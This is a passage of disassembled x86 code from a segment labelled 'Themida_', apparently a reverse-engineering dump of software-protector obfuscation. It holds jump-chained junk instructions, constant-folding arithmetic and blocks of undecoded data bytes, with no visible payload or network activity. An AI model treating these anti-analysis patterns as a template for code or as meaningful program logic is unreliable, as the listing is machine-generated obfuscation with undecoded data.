; ---------------------------------------------------------------------------


loc_564495:				; CODE XREF: Themida_:005680A8j
		add	ebp, 0F976EEBBh
		jmp	loc_562993
; ---------------------------------------------------------------------------
		dd 0E904EC83h, 0FFFF90F2h, 6804C483h, 6A96h, 68240C89h
		dd 486B7296h, 4EC8359h,	7067E9h, 0CC98100h, 81274554h
		dd 273804C1h, 3CC1813Bh, 29E6DDFBh, 240C8BCEh, 9943E9h
		dd 74E95600h, 540000ADh, 6824048Fh, 430Ah, 0BF243C89h
		dd 4, 4247C01h,	0FFBEA0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5644FD:				; CODE XREF: Themida_:00563335j
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_55DCA5
; ---------------------------------------------------------------------------
		dw 652Ch
		dd 48BC288h, 4C48124h, 88000000h, 24148BD7h, 2804C483h
		dd 0E95B66FAh, 5D79h, 5A2434FFh, 4C481h, 0EC810000h, 4
		dd 0BB241C89h, 56272EE7h, 0FFFFEB81h, 0CB81FFFFh, 5B411AB1h
		dd 6244CB81h, 97E96DA5h, 81FFFFE3h, 473FFCE7h, 79C7814Ah
		dd 317DAE40h, 243C8BFAh, 81E38953h, 4C3h, 4C38100h, 87000000h
		dd 0E95C241Ch, 6427h, 8324148Bh, 0E95804C4h, 0FFFFE079h
		dd 83243489h, 1C8904ECh, 56C8BB24h, 0D3F76901h,	8107E3C1h
		dd 8A3071F3h, 0F11CE956h, 0F581FFFFh, 0EFE77ECAh, 0A3E9E989h
		dd 8000003Dh, 0E7D032C7h, 8009CF80h, 0E9513FEFh, 2D89h
		dd 59EC88h, 0E95866E5h,	0BAAEh,	55D831ADh, 0FFD7C8E9h
		dd 242C89FFh, 0B869AC68h, 569EE931h, 0ED680000h, 89000077h
		dd 8B52240Ch, 0C483240Ch, 5E95104h
		db 6Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_564603:				; CODE XREF: Themida_:0056C11Dj
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 4600761Bh
		jmp	loc_55FC3C
; ---------------------------------------------------------------------------
		db 87h,	14h, 24h
		dd 240C895Ch, 509768h, 9CC7E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_564632:				; CODE XREF: Themida_:00568150j
		pop	ebx
		pop	ecx
		add	eax, ebp
		push	1AFCh
		mov	[esp], ebx
		mov	ebx, 494B41F7h
		jmp	loc_565439
; ---------------------------------------------------------------------------
		dd 268AE968h, 243C8B25h, 4C481h, 0BD550000h, 5D9E1604h
		dd 42CEB951h, 0B8E978BCh, 5400009Ah, 0BE56505Bh, 46D90E22h
		dd 0D71B850h, 0C62921F5h, 8BF68158h, 8101B97Dh,	5D7D36EEh
		dd 5EF08925h, 6053EB81h, 0AFE9168Eh, 570000A4h,	0C781E789h
		dd 4, 6C9EE9h, 0C8B6600h, 0E3895324h, 0BB535250h, 6B7173BBh
		dd 0B85BDA89h, 0BD92D8D5h, 148BD029h, 4C48124h,	0E9000000h
		dd 0A6B2h, 0E95DE989h, 0A925h, 0E9241C8Bh, 0FF9h, 8B241C33h
		dd 0FCE92424h, 53FFFFA5h, 0FFA1B2E9h, 4BAFFh, 0D7010000h
		dd 4EC835Ah, 61BCE9h, 2C48100h,	0E9000000h, 455h, 3511F781h
		dd 0F9896A0Ah, 59CA895Fh, 88F7E955h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_564716:				; CODE XREF: Themida_:005625B0j
		mov	edi, 242A02EBh
		jmp	loc_56D707
; ---------------------------------------------------------------------------
		dd 0A1E97CB5h, 35FFFF80h, 3A533DDEh, 0FFB41EE9h, 50E959FFh
		dd 29FFFF7Ah, 0FFE955FEh, 68000022h, 5DF83F84h,	7EFC15Fh
		dd 0F07BEF81h, 0FA8900BBh, 0FF84B9E9h, 0F42BFFFh, 0EF8130B8h
		dd 61344E39h, 0C10DF781h, 0FD89CF83h, 8BEA295Fh, 0C481242Ch
		dd 4, 31241433h, 14332414h, 24248B24h, 0E9240489h, 671Eh
		dd 41EF814Fh, 8977B317h, 0D6E95FF8h
		db 53h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_564797:				; CODE XREF: Themida_:00562B24j
		pop	esp
		mov	[esp], edi
		push	ecx
		mov	ecx, 476B0B49h
		jmp	loc_567DB2
; ---------------------------------------------------------------------------
		dw 77FFh
		dd 2434FF3Ch, 582434FFh, 0E904C483h, 0FFFFCADDh, 0FF6D98E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5647BD:				; CODE XREF: Themida_:005611E8j
		pop	esi
		add	esp, 4


loc_5647C1:				; CODE XREF: Themida_:0055BA24j
		push	344Eh
		jmp	loc_566A1A
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFF6D85h, 5966C800h, 80D2B652h, 0E7E945EEh, 0E9000045h
		dd 0FFFF6D71h, 0EB81EB29h, 689E1C51h, 8473E9h, 4C55BB00h
		dd 0B768609Bh, 8900003Ah, 0DE892434h, 34FFF189h, 24348B24h
		dd 4C481h, 0C4810000h, 4, 0FFF113E9h, 240C89FFh, 0A798E9h
		db 0
; ---------------------------------------------------------------------------


loc_564821:				; CODE XREF: Themida_:00566B9Cj
		push	edi
		mov	edi, 3ED48BBh
		not	edi
		sub	edi, 0A1F0E626h
		xor	eax, edi
		pop	edi
		and	ecx, eax
		pop	eax
		push	eax
		mov	eax, 28241DC9h
		jmp	loc_56E383
; ---------------------------------------------------------------------------
		dd 189EEB81h, 9BE93C09h, 53FFFFD7h, 0AA53EFBBh,	0A2EBE976h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564856:				; CODE XREF: Themida_:0055E940j
		push	ecx
		mov	ecx, 40ED4E54h
		push	ebx
		mov	ebx, 23AF277Eh
		inc	ebx
		xor	ebx, 262659ACh
		mov	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		xor	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	ebx
		push	ebp
		mov	ebp, 36853576h
		or	ebp, 59E35F2Eh
		add	ebp, 49574014h
		add	ebp, 3DEB38A9h
		jmp	loc_56A7F4
; ---------------------------------------------------------------------------
		db 0B2h, 0E6h, 66h
		dd 0B1515350h, 302AB7E9h, 9B09E9CFh, 0C381FFFFh, 4, 4EB81h
		dd 0ECE90000h
		db 3Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5648BF:				; CODE XREF: Themida_:0055C6A1j
		pop	edi
		jmp	loc_56C3E3
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 8104C483h, 1D6DC9C6h, 0E9B2E973h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5648D6:				; CODE XREF: Themida_:00565576j
		xor	edi, eax
		jmp	loc_55D5E0
; ---------------------------------------------------------------------------


loc_5648DD:				; CODE XREF: Themida_:0057015Bj
		mov	edi, 754927DFh
		xor	eax, edi
		jmp	loc_562AC6
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd 0C6164868h, 7E40E92Ah, 2DBE0000h, 0E9093F45h, 0FFFFC7A5h
		dd 8159CB29h, 5174EDC3h, 5F54573Fh, 4C781h, 35E90000h
		db 0D2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564917:				; CODE XREF: Themida_:0055D595j
		sub	ebp, eax
		pop	eax
		sub	esi, ebp
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		add	esp, 4
		xor	eax, esi
		jmp	loc_55CB01
; ---------------------------------------------------------------------------
		dw 2C89h
		dd 96BB5324h, 0BD2CE841h, 5286BD4h, 0E95BDD31h,	458Fh
		dd 0C954E953h, 74FFFFFFh, 8F590424h, 248B2404h,	4EC8124h
		dd 89000000h, 0DFBD242Ch, 0C146557Fh, 0ED8105EDh, 786C0FEAh
		dd 7392ED81h, 0EA295730h, 8BD3895Dh, 89572414h,	4B850E7h
		dd 1000000h, 50E958C7h
		db 0D6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56498F:				; CODE XREF: Themida_:005659F3j
		mov	ebp, [esp]
		add	esp, 4
		push	dword ptr [esp]
		jmp	loc_5666F4
; ---------------------------------------------------------------------------
		db 5Eh,	81h, 0EBh
		dd 60E56130h, 0FFD7ECE9h, 24148BFFh, 4C481h, 0B3680000h
		dd 0E9000071h, 1FF0h
; ---------------------------------------------------------------------------


loc_5649BC:				; CODE XREF: Themida_:00562EE5j
		add	eax, 65022CB6h
		pop	ebx
		xor	eax, 5452AFFBh
		sub	ebx, eax
		pop	eax
		push	ebx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_56A919
; ---------------------------------------------------------------------------
		db 68h,	0EDh, 26h
		dd 14890000h, 510BB224h, 0BB89E9h, 80CE2800h, 0C8BD0EEh
		dd 4C48324h, 34A9B050h,	0ACC5E959h, 0EC83FFFFh,	241C8904h
		dd 36A9BF57h, 9AE916FCh, 8900003Dh, 2DE9240Ch, 8B00009Eh
		dd 8952240Ch, 4C281E2h,	0E9000000h, 0FFFFD702h
; ---------------------------------------------------------------------------


loc_564A28:				; CODE XREF: Themida_:0056A9A6j
		add	ecx, 4
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		idiv	cx
		push	ebx
		sub	esp, 4
		mov	[esp], esp
		push	esi
		jmp	loc_563403
; ---------------------------------------------------------------------------
		dd 1840E181h, 0D1F70FE3h, 7803B850h, 0C10139F5h, 0FFBD9DE9h
		dd 96E95BFFh, 0FF00003Dh, 0C8B2434h, 4C48324h, 526CE9h
		dd 0DBF74300h, 0BE56D3F7h, 3F9062A2h, 815EF321h, 0D51393F3h
		dd 5BDD3150h, 515DE929h, 0BF57595Ah, 3CF85A13h,	8E2E9h
		dd 0BA525100h, 4F977183h, 0FF7311E9h, 4EC83FFh,	0FFFE30E9h
		dd 0D0E997FFh, 80FFFFBCh, 82E97AF5h, 51000006h,	191BBEB9h
		dd 8BCF293Fh, 0C481240Ch, 4, 0C781CF01h, 3F191BBEh, 81240C8Bh
		dd 4C4h, 243C8700h, 6624248Bh, 9C2424D3h, 0FF6A5CE9h, 5FF801FFh
		dd 8B240487h, 8B662424h, 0E9512404h, 0FFFF75FEh, 124248Bh
		dd 0E99C2404h, 0FFFF96E9h, 8704ED83h, 0A4E9242Ch
		db 6Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_564B23:				; CODE XREF: Themida_:00564FA1j
		mov	[esp], eax
		jmp	loc_55B555
; ---------------------------------------------------------------------------


loc_564B2B:				; CODE XREF: Themida_:0056D612j
		push	esi
		mov	esi, 558539C5h
		not	esi
		add	esi, 558539CAh
		add	edi, esi
		mov	esi, [esp]
		add	esp, 4
		push	edx
		jmp	loc_5706F6
; ---------------------------------------------------------------------------
		db 2Dh
		dd 0C80FE5A2h, 4246C81h, 28E73520h, 243AE9h, 0C0B60F00h
		dd 5187048Dh, 61D168h, 24248900h, 4240481h, 8B000000h
		dd 0C481240Ch, 4, 23466850h, 3C890000h,	44A5E924h, 0B3680000h
		dd 89000035h, 0BA52243Ch, 18765521h, 0B03AE9h, 241C8900h
		dd 4BBh, 37512D00h, 0B2E90B69h,	8300001Bh, 348704C4h, 0DE015C24h
		dd 5B2434FFh, 5604C483h, 7F2EE9h, 0C8B6600h, 776D6824h
		dd 3C890000h, 89E95424h, 80FFFFE6h, 4AE9ACE5h, 89000011h
		dd 0AAB9240Ch, 29869EA3h, 0EC8359CEh, 243C8904h, 0FD895F56h
		dd 8B2434FFh, 0C483243Ch, 38E95304h, 87FFFFE3h,	81D5F7DDh
		dd 55F53AC5h, 0E9E93165h, 0FA4h, 0E5A28BDh, 0D5F58139h
		dd 0F77AE223h, 1C581DDh, 143EC7Ah, 34335DEEh, 24343124h
		dd 5C243433h, 3DA068h, 24048900h, 1C0968h, 1A1B6800h, 24890000h
		dd 24048324h, 24048F04h, 0FFA4C1E9h, 20368FFh, 96E90000h
		db 80h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_564C5B:				; CODE XREF: Themida_:00566E4Cj
		sub	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		mov	[esp], esi
		push	eax
		push	0B3D4A08h
		pop	eax
		push	ebx
		mov	ebx, 0F4C2B678h
		add	eax, ebx
		pop	ebx
		push	eax
		sub	dword ptr [esp], 220C7256h
		pop	esi
		add	esi, 220C7256h
		pop	eax
		push	2919h
		jmp	loc_5672E3
; ---------------------------------------------------------------------------


loc_564C95:				; CODE XREF: Themida_:0056B6F0j
		xchg	ebx, edx
		not	ebx
		xor	edx, ebx
		jmp	loc_55EDB9
; ---------------------------------------------------------------------------


loc_564CA0:				; CODE XREF: Themida_:0055BE43j
		sub	ecx, edx
		pop	edx
		add	edi, ecx
		pop	ecx
		xchg	edi, [esp]
		mov	esp, [esp]
		push	ebp
		jmp	loc_567AA4
; ---------------------------------------------------------------------------


loc_564CB2:				; CODE XREF: Themida_:0056998Aj
		add	esp, 4
		and	edi, ecx
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_567D02
; ---------------------------------------------------------------------------


loc_564CC0:				; CODE XREF: Themida_:0055DC81j
		mov	ecx, 0C0C294F7h
		jmp	loc_56AA04
; ---------------------------------------------------------------------------


loc_564CCA:				; CODE XREF: Themida_:0056722Cj
		xor	[esp], edi
		jmp	loc_5605B6
; ---------------------------------------------------------------------------


loc_564CD2:				; CODE XREF: Themida_:0055FB03j
		pop	edi
		jmp	loc_56CFE5
; ---------------------------------------------------------------------------
		dd 0E906EDC1h, 0FFFF727Eh
; ---------------------------------------------------------------------------


loc_564CE0:				; CODE XREF: Themida_:005689CAj
		push	3C60083Eh
		mov	ebx, [esp]
		add	esp, 4
		shl	ebx, 8
		push	ebx
		not	dword ptr [esp]
		pop	ebx
		push	edx
		mov	edx, 714D3D50h
		neg	edx
		push	0
		sub	[esp], edx
		pop	edx
		dec	edx
		shl	edx, 1
		not	edx
		jmp	loc_56F348
; ---------------------------------------------------------------------------
		dw 4BFh
		dd 1000000h, 243C8BF9h,	6804C483h, 0BD4h, 56240489h, 9F3DAFBEh
		dd 3DABB81Ah, 0F0311A9Fh, 8BC1015Eh, 0C4832404h, 74FF5104h
		dd 8F590424h, 248B2404h, 0A3C38124h, 81156245h,	0E12CB9EBh
		dd 0BC38121h, 0E9639E24h, 0FFFFD262h, 0FFFFED81h, 0C583FFFFh
		dd 57ED8101h, 0C15D5405h, 0F58102E5h, 58716762h, 565DEF29h
		dd 223EE9h
		db 0
; ---------------------------------------------------------------------------


loc_564D7D:				; CODE XREF: Themida_:0056C4F6j
		pop	edi
		jmp	loc_565269
; ---------------------------------------------------------------------------


loc_564D83:				; CODE XREF: Themida_:005701D3j
		add	[esp+4], ebx
		pop	ebx
		pop	eax
		jmp	loc_564089
; ---------------------------------------------------------------------------


loc_564D8E:				; CODE XREF: Themida_:005605C9j
		mov	[esp], esi
		push	edi
		push	4C47108Dh
		jmp	loc_563803
; ---------------------------------------------------------------------------


loc_564D9C:				; CODE XREF: Themida_:0056E100j
		pop	ebp
		add	ecx, edx
		pop	edx
		jmp	loc_56587F
; ---------------------------------------------------------------------------
		db 81h,	0F2h, 1Dh
		dd 817F1555h, 209F10F2h, 0F260E90Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564DB6:				; CODE XREF: Themida_:00570329j
		shl	ebp, 6
		neg	ebp
		dec	ebp
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 49D7DBE7h
		sub	ebp, esi
		pop	esi
		xor	edx, ebp
		pop	ebp
		jmp	loc_55C4AA
; ---------------------------------------------------------------------------
		db 5, 51h, 37h
		dd 23E90B69h, 28FFFF8Eh, 0FC83E9DEh, 0F001FFFFh, 0E92434FFh
		dd 5EADh, 4C481h, 14330000h, 24143124h,	0E9241433h, 0FFFFC009h
		dd 16C7E9ADh, 0E9520000h, 0B6D2h
; ---------------------------------------------------------------------------


loc_564E10:				; CODE XREF: Themida_:0056DF02j
		sub	edi, ecx
		pop	ecx
		shr	edi, 7
		xor	edi, 18D511Bh
		sub	ebx, edi
		pop	edi
		jmp	loc_56FA07
; ---------------------------------------------------------------------------


loc_564E24:				; CODE XREF: Themida_:00562763j
		sub	esp, 4
		jmp	loc_55DFFE
; ---------------------------------------------------------------------------
		dd 0B9E3E981h, 37E9B8FCh, 5600004Bh, 0D17A1EBEh, 911CE96Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_564E42:				; CODE XREF: Themida_:0055DA01j
		add	ah, 0A8h
		add	bh, ah
		pop	eax
		and	bh, 86h
		jmp	loc_55C8A3
; ---------------------------------------------------------------------------


loc_564E50:				; CODE XREF: Themida_:0056C9F6j
		inc	edx
		jmp	loc_56523A
; ---------------------------------------------------------------------------


loc_564E56:				; CODE XREF: Themida_:00561895j
		sub	ebx, 4D7338D3h
		jmp	loc_560A84
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edx
		push	794Ah
		mov	[esp], esi
		mov	esi, 4
		jmp	loc_56B85C
; ---------------------------------------------------------------------------


loc_564E7B:				; CODE XREF: Themida_:0056000Bj
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	edx
		mov	edx, 4
		add	edi, edx
		mov	edx, [esp]
		push	ebp
		jmp	loc_56DD9B
; ---------------------------------------------------------------------------
		dw 0C68h
		dd 0E9000031h, 0FFFF725Dh, 7F20EF81h, 0C78107E5h, 50E7286Fh
		dd 0EF81EF01h, 50E7286Fh, 7F20C781h, 535D07E5h,	6647E9h
		dd 0FF505B00h, 58042474h, 5C24048Fh, 8F29E9h, 24048900h
		dd 8B78E9B8h, 24440157h, 2434FF04h, 5224048Bh, 0C2815A54h
		dd 4, 4C281h, 14870000h, 3647E924h, 3C8B0000h, 0DDC8E924h
		dd 3F68FFFFh, 8900003Fh, 4832424h, 525A0424h, 0FFD350E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_564F15:				; CODE XREF: Themida_:00560F35j
		add	esp, 4
		add	al, dl
		mov	edx, [esp]
		push	ebx
		jmp	loc_56B5BC
; ---------------------------------------------------------------------------
a020Sap		db '0$$2$$0$$éAp',0
		align 4
		dd 241C8B66h, 0E902C483h, 0FFFFDDBBh, 13AD68h, 240C8900h
		dd 2458E953h, 1DB70000h, 0C0CACF80h, 0D7F604E7h, 8344E780h
		dd 148904ECh, 529EB624h, 12454F6h, 0FFD730E9h, 4B9FFh
		dd 10E90000h, 52FFFFC4h, 42474FFh, 6DCFE95Ah, 8B5B0000h
		dd 0C483240Ch, 0EF685B04h, 8900004Dh, 0BEE92404h
		db 65h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564F97:				; CODE XREF: Themida_:0056C798j
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		jmp	loc_564B23
; ---------------------------------------------------------------------------
		dw 0BF66h
		dd 1663F92h, 0E95F66FEh, 0FFFFA7D1h, 2055Ah, 4BE90000h
		dd 0F7FFFFEBh, 0E3D14BD3h, 0FF82C6E9h, 51F028FFh, 0C80052B1h
		dd 8B170459h, 0C4832414h, 66482C04h, 0E941B151h, 9AEFh
		dd 8BF28159h, 1AA0A00h,	0D6685AD1h, 8900002Dh, 68502414h
		dd 8C22749h, 27452D58h,	0C28908C2h, 5AD12958h, 0FFE49FE9h
		dd 59CE29FFh, 34A5BD55h, 59E97056h, 68000002h, 2ED0h, 0FFB30EE9h
		dd 0EF015AFFh, 0E9242C8Bh, 1F05h, 1D2F68h, 240C8900h, 4B9h
		dd 59C80100h, 31240433h, 76E92404h, 5A000036h, 9F4DE957h
		dd 0E95C0000h, 0FFFF64FDh, 4ACABE56h, 0C9E929BAh
		db 7Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565063:				; CODE XREF: Themida_:0056A118j
		mov	[esp], esi
		jmp	loc_56A538
; ---------------------------------------------------------------------------
		db 81h
		dd 2F2E00F7h, 9D4CE95Ch, 0C4810000h, 4,	6AC7BF57h, 2AE94C78h
		dd 83FFFFE1h, 143304EAh, 24143124h, 8B241433h, 0AE92424h
		dd 81FFFFA8h, 0AC0A58EAh, 3616830h, 14890000h, 1B42E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5650AE:				; CODE XREF: Themida_:0056B4AEj
		mov	esi, 4
		sub	ecx, esi
		pop	esi
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], eax
		xor	[esp], edx
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_5637C6
; ---------------------------------------------------------------------------
		db 81h
		dd 0DA1276F5h, 0FFEB8906h, 0E95D2434h, 0FFFFB7C0h
; ---------------------------------------------------------------------------


loc_5650DC:				; CODE XREF: Themida_:0055F6DBj
		sub	edi, esi
		pop	esi
		jmp	loc_569948
; ---------------------------------------------------------------------------
aIss		db '‰áé œ',0
		dw 8300h
		dd 2CE902C4h, 5C00001Fh, 89240C89h, 4C181E1h, 83000000h
		dd 0C3304C1h, 240C3124h, 0B5CBE9h
		db 0
; ---------------------------------------------------------------------------


loc_56510D:				; CODE XREF: Themida_:005627E3j
		xor	ecx, esi
		xor	esi, ecx
		jmp	loc_56E44E
; ---------------------------------------------------------------------------


loc_565116:				; CODE XREF: Themida_:0056718Dj
		add	esi, ebp
		add	esi, 4BCD7A03h
		sub	esi, 7DE026CEh
		push	ebp
		mov	ebp, 720104F5h
		push	3EEh
		mov	[esp], esi
		jmp	loc_560916
; ---------------------------------------------------------------------------
		db 5
		dd 3463696Ch, 0BB53C801h, 3463696Ch, 0FFC221E9h, 0FFE830FFh
		dd 83592434h, 21E904C4h, 5B000044h, 0BA52E0D1h,	0FE1497A6h
		dd 295AD029h, 24048BC1h, 4C481h, 0CB890000h, 8B2434FFh
		dd 4EE9240Ch, 8900005Bh, 4C181E1h, 83000000h, 0C8704C1h
		dd 22685C24h, 8900006Dh, 0E789243Ch, 0FFD566E9h, 241489FFh
		dd 411962BAh, 58CA8168h, 0C10C3801h, 17E903EAh,	52000003h
		dd 45729ABAh, 40F28153h, 4A5BE551h, 44C5C281h, 0D2F702C0h
		dd 2DC3EA81h, 0D689E4A9h, 0DEF7465Ah, 0DE53E946h, 0A12DFFFFh
		dd 0D3D4154h, 35776E1Bh, 3936BE2Dh, 9EB8E989h, 0F801FFFFh
		dd 2DD0015Fh, 43300665h, 5C27752Dh, 61E95A39h, 0FF00007Dh
		dd 4813877h, 0FB07F224h, 2434FF0Ch, 592434FFh, 4C481h
		dd 0EC830000h, 6604E904h, 0C1580000h, 4C3504E8h, 5495004h
		dd 285E820Dh, 0E958C789h, 4CCEh, 9776E942h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56523A:				; CODE XREF: Themida_:00564E51j
		add	edx, 0A271FA11h
		jmp	loc_55C8B2
; ---------------------------------------------------------------------------


loc_565245:				; CODE XREF: Themida_:0057011Aj
		xor	ebx, [esp]
		mov	esp, [esp]
		and	eax, ebp
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_56CBF0
; ---------------------------------------------------------------------------


loc_56525F:				; CODE XREF: Themida_:0056D7E7j
		mov	ecx, 2FC146BBh
		jmp	loc_55D703
; ---------------------------------------------------------------------------


loc_565269:				; CODE XREF: Themida_:00564D7Ej
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_562C27
; ---------------------------------------------------------------------------
		dd 1F3EE945h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56527A:				; CODE XREF: Themida_:0056FEDCj
		mov	esi, 60EB0684h
		add	esi, 57F0A4DEh
		xor	edi, esi
		pop	esi
		sub	edx, 1CD21C44h
		sub	edx, 10127B5Ah
		jmp	loc_55C573
; ---------------------------------------------------------------------------


loc_565299:				; CODE XREF: Themida_:0056B7B9j
		xor	edx, 569E2D60h
		jmp	loc_55DC62
; ---------------------------------------------------------------------------
		dd 5DE9215Fh, 4EC81h, 7FE90000h, 5EFFFFF6h, 0FFB1B4E9h
		dd 5BDF01FFh, 4EF81h, 29E90000h, 89000037h, 4C781E7h, 81000000h
		dd 4C7h, 243C8700h, 9769E95Ch, 0BA52FFFFh, 2A3F596Fh, 0EBE9EA81h
		dd 0D101D703h, 0D8E9815Ah, 1341B50h, 5E0559C8h,	2D2E5F40h
		dd 66F06647h, 0C9E9E801h
		db 81h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_565307:				; CODE XREF: Themida_:00562A54j
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	3246h
		mov	[esp], ebx
		mov	bh, al
		mov	dl, bh
		pop	ebx
		mov	[edi+28h], dl
		push	dword ptr [esp]
		mov	edx, [esp]
		jmp	loc_569B7A
; ---------------------------------------------------------------------------
		db 55h
		dd 0B94D47BDh, 0E38DE953h, 34FFFFFFh, 7BCFE924h, 0C2810000h
		dd 4, 4C281h, 14870000h, 0C8B5C24h, 6AF8E924h, 2C870000h
		dd 24048B24h, 659468h, 242C8900h, 0E953E589h, 0FFFF6B75h
; ---------------------------------------------------------------------------


loc_56536C:				; CODE XREF: Themida_:00566664j
		sub	ebp, 11E97B9Dh
		mov	edx, [esp]
		add	esp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		shl	dword ptr [esp], cl
		pushf
		jmp	loc_55B555
; ---------------------------------------------------------------------------
		db 9
		dd 0C2835FFAh, 0D2B850FFh, 297DF87Eh, 0D50158C2h, 4504685Ah
		dd 14890000h, 2BA24h, 0D5010000h, 3F34E95Ah, 0D5F70000h
		dd 5A90E581h, 0F5811335h, 59800862h, 89ABB53h, 0AE947F0h
		db 82h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5653C7:				; CODE XREF: Themida_:0055DD22j
		mov	edx, 4
		jmp	loc_567AF7
; ---------------------------------------------------------------------------
		db 8Bh,	0Ch, 24h
		dd 8104C483h, 0C5672CC9h, 14F7515Ah, 0C9815924h, 290706E6h
		dd 0A292F181h, 0CB89B1C8h, 71C68159h, 176CA7Ah,	0A09DE9DEh
		dd 0EA83FFFFh, 74FF5204h, 8F5A0424h, 0E95C2404h, 912Dh
		dd 4C581h, 0ED830000h, 402CE904h, 0C4810000h, 4, 465168h
		dd 6544E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56542E:				; CODE XREF: Themida_:005678A9j
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_566396
; ---------------------------------------------------------------------------


loc_565439:				; CODE XREF: Themida_:00564643j
		push	3B79h
		mov	[esp], esi
		mov	esi, 3CBD0EACh
		shl	esi, 3
		jmp	loc_560D3D
; ---------------------------------------------------------------------------
		dw 0F930h
		dd 0FFD9305Bh, 835B2434h, 48904ECh, 0E9E08924h,	15A6h
		dd 9C241CF6h, 0FF60E8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56546D:				; CODE XREF: Themida_:0055C32Dj
		add	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_55DF5D
; ---------------------------------------------------------------------------
		db 8Fh,	47h, 40h
		dd 0FF60D0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_565485:				; CODE XREF: Themida_:0056DDCDj
		mov	edx, 4
		add	eax, edx
		pop	edx
		push	esi
		mov	esi, 4
		add	eax, 2F0B0D90h
		sub	eax, esi
		sub	eax, 2F0B0D90h
		jmp	loc_55F025
; ---------------------------------------------------------------------------


loc_5654A4:				; CODE XREF: Themida_:0056DEF7j
		neg	esi
		jmp	loc_567DA3
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0EC83240Ch, 24148904h, 712FE9h, 0E9C12900h, 0FFFFBE26h
		dd 0A3B5E952h, 0E2C10000h, 0E9DAF703h, 0FFFF777Dh, 4B951h
		dd 0CF010000h, 6E746859h, 34890000h, 0F410E924h, 0BBFFFFFh
		dd 2972DC11h, 0EE015FFEh, 110BB850h, 0C60172DCh, 9871E9h
		dd 5AD10100h, 4C181h, 46680000h, 0E9000079h, 515Eh, 83242C8Bh
		dd 455B04C4h, 0FFE1D2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56551D:				; CODE XREF: Themida_:0055C721j
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		sub	ecx, ebp
		sub	ecx, 796D1819h
		pop	ebp
		push	6A98h
		mov	[esp], ebp
		push	ebx
		push	esp
		push	dword ptr [esp]
		mov	ebx, [esp]
		push	esi
		mov	esi, esp
		push	ebp
		mov	ebp, 52922787h
		jmp	loc_55B83C
; ---------------------------------------------------------------------------
		db 0F7h
		dd 0CF8147D7h, 1652263Ch, 0B03CEF81h, 0F889D218h, 1511E9h
		db 0
; ---------------------------------------------------------------------------


loc_565561:				; CODE XREF: Themida_:0055FE06j
		mov	ecx, [esp]
		push	ebp
		push	esp
		jmp	loc_56ED89
; ---------------------------------------------------------------------------


loc_56556B:				; CODE XREF: Themida_:00567294j
		mov	edi, 4B260BFFh
		push	eax
		mov	eax, 753702D2h
		jmp	loc_5648D6
; ---------------------------------------------------------------------------
		db 89h
		dd 0FDBCE9E2h, 0FE30FFFFh, 0E9241C8Bh, 1BDh
; ---------------------------------------------------------------------------


loc_56558C:				; CODE XREF: Themida_:0055DF58j
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 274171D3h
		xor	[esp+4], ebp
		pop	ebp
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_56E55E
; ---------------------------------------------------------------------------


loc_5655A7:				; CODE XREF: Themida_:0056CB39j
		dec	dl
		shl	dl, 7
		push	eax
		mov	ah, 3Ch
		add	dl, ah
